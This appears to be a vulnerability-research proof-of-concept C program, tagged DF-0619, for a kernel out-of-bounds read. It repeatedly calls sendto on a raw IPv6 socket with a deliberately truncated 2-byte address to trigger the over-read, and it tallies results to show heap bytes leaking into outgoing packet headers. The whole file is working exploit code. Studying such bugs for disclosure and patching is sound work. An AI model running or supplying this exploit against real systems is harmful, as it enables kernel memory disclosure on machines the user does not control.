DF-0619 / poc_leak.c
/* * DF-0619 leak-stress variant: hammer the OOB read in a tight loop while * tcpdump watches for any outgoing IPv6 packet whose destination address * contains leaked heap bytes. Most iterations produce an unroutable * destination (sendto returns EHOSTUNREACH) so no packet leaves; but if the * corrupted destination happens to be routable (loopback, link-local, * multicast, or a real prefix), the outgoing packet's IPv6 dst header will * contain the leaked bytes — proof of info leak beyond the kernel-internal * over-read. * * Usage: ./poc_leak */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main(void) { int fd, i, ok = 0, err_dist[256] = {0}; unsigned char sa_short[2] = { 2, AF_INET6 }; char buf[1] = {0}; fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (fd < 0) { perror("socket"); return 1; } for (i = 0; i < 20000; i++) { int rc = sendto(fd, buf, 1, 0, (const struct sockaddr *)sa_short, 2); int e = errno; if (rc == 0) ok++; else if (e >= 0 && e < 256) err_dist[e]++; if ((i % 4000) == 0) { printf("iter %d: last rc=%d errno=%d (%s); ok=%d\n", i, rc, e, strerror(e), ok); } } printf("\n=== distribution after 20000 iterations ===\n"); printf("sendto returned 0 (packet emitted): %d times\n", ok); for (i = 0; i < 256; i++) { if (err_dist[i]) printf(" errno %d (%s): %d times\n", i, strerror(i), err_dist[i]); } close(fd); return 0; } |